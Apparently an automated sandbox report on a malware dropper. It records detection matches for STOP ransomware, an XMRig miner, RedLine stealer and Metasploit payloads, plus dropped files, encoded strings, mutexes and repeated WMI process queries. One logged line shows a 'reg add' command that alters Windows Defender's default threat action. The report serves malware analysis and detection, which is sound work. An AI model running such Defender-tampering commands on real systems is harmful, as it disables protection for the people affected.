Source: 3QKcKCEzYP.exe, 00000000.00000003.2284236478.0000024045088000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename7zS.sfx.exe, vs 3QKcKCEzYP.exe

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6

Source: 5.2.MrBEu6cm6HagE9yrmXV8x4AG.exe.22015a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 5.2.MrBEu6cm6HagE9yrmXV8x4AG.exe.22015a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 5.2.MrBEu6cm6HagE9yrmXV8x4AG.exe.22015a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 5.2.MrBEu6cm6HagE9yrmXV8x4AG.exe.22015a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 45.3.erzljnhmzkuz.exe.850000.2.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 45.3.erzljnhmzkuz.exe.850000.2.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 45.3.erzljnhmzkuz.exe.850000.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 45.3.erzljnhmzkuz.exe.850000.2.raw.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 45.3.erzljnhmzkuz.exe.850000.2.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 45.3.erzljnhmzkuz.exe.850000.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 00000009.00000002.2654215654.000000C000200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Msfpayloads_msf_9 date = 2017-02-09, hash1 = e408678042642a5d341e8042f476ee7cef253871ef1c9e289acf0ee9591d1e81, author = Florian Roth, description = Metasploit Payloads - file msf.war - contents, reference = Internal Research
Source: 00000005.00000002.2673772005.0000000002200000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000009.00000002.2654215654.000000C0002C2000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Msfpayloads_msf_9 date = 2017-02-09, hash1 = e408678042642a5d341e8042f476ee7cef253871ef1c9e289acf0ee9591d1e81, author = Florian Roth, description = Metasploit Payloads - file msf.war - contents, reference = Internal Research
Source: 0000002D.00000003.2493029639.0000000000850000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 0000002D.00000003.2493029639.0000000000850000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 0000002D.00000003.2493029639.0000000000850000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 00000005.00000002.2673724412.000000000216B000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: Process Memory Space: MrBEu6cm6HagE9yrmXV8x4AG.exe PID: 6096, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: erzljnhmzkuz.exe PID: 6780, type: MEMORYSTR	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25

Source: 66c3721bc46fe_Ernrnmkio[1].exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 6UF1Jcwj34zqEggktO7mg1WS.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 66c1c5838f95f_file1808[1].exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: MrBEu6cm6HagE9yrmXV8x4AG.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 66c3721bc46fe_Ernrnmkio[1].exe.0.dr, -.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 6UF1Jcwj34zqEggktO7mg1WS.exe.0.dr, -.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 4.2.fOzLadrzZNRnwv2woTdiFoXM.exe.472f700.7.raw.unpack, Ca01BQGh9DxiBOJwup.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 4.2.fOzLadrzZNRnwv2woTdiFoXM.exe.472f700.7.raw.unpack, Ca01BQGh9DxiBOJwup.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 4.2.fOzLadrzZNRnwv2woTdiFoXM.exe.56d0000.8.raw.unpack, Ca01BQGh9DxiBOJwup.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 4.2.fOzLadrzZNRnwv2woTdiFoXM.exe.56d0000.8.raw.unpack, Ca01BQGh9DxiBOJwup.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 4.2.fOzLadrzZNRnwv2woTdiFoXM.exe.4748f30.3.raw.unpack, Ca01BQGh9DxiBOJwup.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 4.2.fOzLadrzZNRnwv2woTdiFoXM.exe.4748f30.3.raw.unpack, Ca01BQGh9DxiBOJwup.cs	Cryptographic APIs: 'CreateDecryptor'

Source: 66c3721bc46fe_Ernrnmkio[1].exe.0.dr, -.cs	Base64 encoded string: 'vrpWrX4Yw5FAv3cQjrdMtnVbrLBWvHYXgboenn4BqK1Rq2I0nrBAtHkZlPhCvG8qq7ZJtVUUgKYetmsqpK1AqG4UgapRoCASiLd6lX4birdN4lwQmZdcqX4zn6xIkXobia9A4nwQmZxruHYQ1opLvX4NoqUei34UiZBRq3IbivhkvX9OiqZRhksanqpRsHQb1qRArUQ2mLFXvHUBqaxIuHIb1pBArV8UmaIe6ixG2/cemGgGiK5HtWImiLFTvGlOvqpIqXcQrLBWvHYXgbpgoWsZgrFAqyAXjKFAtW0Y1rBItnAQmaZWrQ=='
Source: 6UF1Jcwj34zqEggktO7mg1WS.exe.0.dr, -.cs	Base64 encoded string: 'vrpWrX4Yw5FAv3cQjrdMtnVbrLBWvHYXgboenn4BqK1Rq2I0nrBAtHkZlPhCvG8qq7ZJtVUUgKYetmsqpK1AqG4UgapRoCASiLd6lX4birdN4lwQmZdcqX4zn6xIkXobia9A4nwQmZxruHYQ1opLvX4NoqUei34UiZBRq3IbivhkvX9OiqZRhksanqpRsHQb1qRArUQ2mLFXvHUBqaxIuHIb1pBArV8UmaIe6ixG2/cemGgGiK5HtWImiLFTvGlOvqpIqXcQrLBWvHYXgbpgoWsZgrFAqyAXjKFAtW0Y1rBItnAQmaZWrQ=='

Source: classification engine

Classification label: mal100.rans.troj.adwa.spyw.evad.mine.winEXE@107/29@33/11

Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe

Code function: 5_2_004A4C54 FillConsoleOutputCharacterW,lstrcatW,InterlockedExchangeAdd,LoadIconW,LocalShrink,FindAtomW,DeleteAtom,GetConsoleSelectionInfo,_memset,GetDefaultCommConfigW,RaiseException,ReadConsoleOutputA,WaitForDebugEvent,EnumDateFormatsA,TryEnterCriticalSection,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetDateFormatA,GetLastError,GetSystemTimes,FoldStringW,GetConsoleAliasesLengthA,GetNamedPipeHandleStateA,GetComputerNameA,GetFileAttributesW,GetBinaryTypeA,FormatMessageA,_malloc,_malloc,_mbrtowc,_calloc,LocalAlloc,LoadLibraryA,GlobalFlags,GetFileType,InterlockedDecrement,

5_2_004A4C54

Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe

Code function: 5_2_0216B7C6 CreateToolhelp32Snapshot,Module32First,

5_2_0216B7C6

Source: C:\Users\user\Desktop\3QKcKCEzYP.exe

File created: C:\Users\user\Documents\piratemamm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1460:120:WilError_03
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5504:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2432:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1936:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2156:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3492:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6648:120:WilError_03
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	Mutant created: \Sessions\1\BaseNamedObjects\JarakHalgWW_14
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5536:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:3504:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:404:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3852:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6828:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5564:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5332:120:WilError_03

Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe

File created: C:\Users\user\AppData\Local\Temp\7zS227C.tmp

Jump to behavior

Source: C:\Users\user\Documents\piratemamm\yZBxqqQICO50PLfWYKwJeSL5.exe

File opened: C:\Windows\system32\f48ee880add9568b4af569e5ada0e27ec30f0d526514a99774262bb5ad8267feAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Jump to behavior

Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe

Command line argument: R@

5_2_00405230

Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
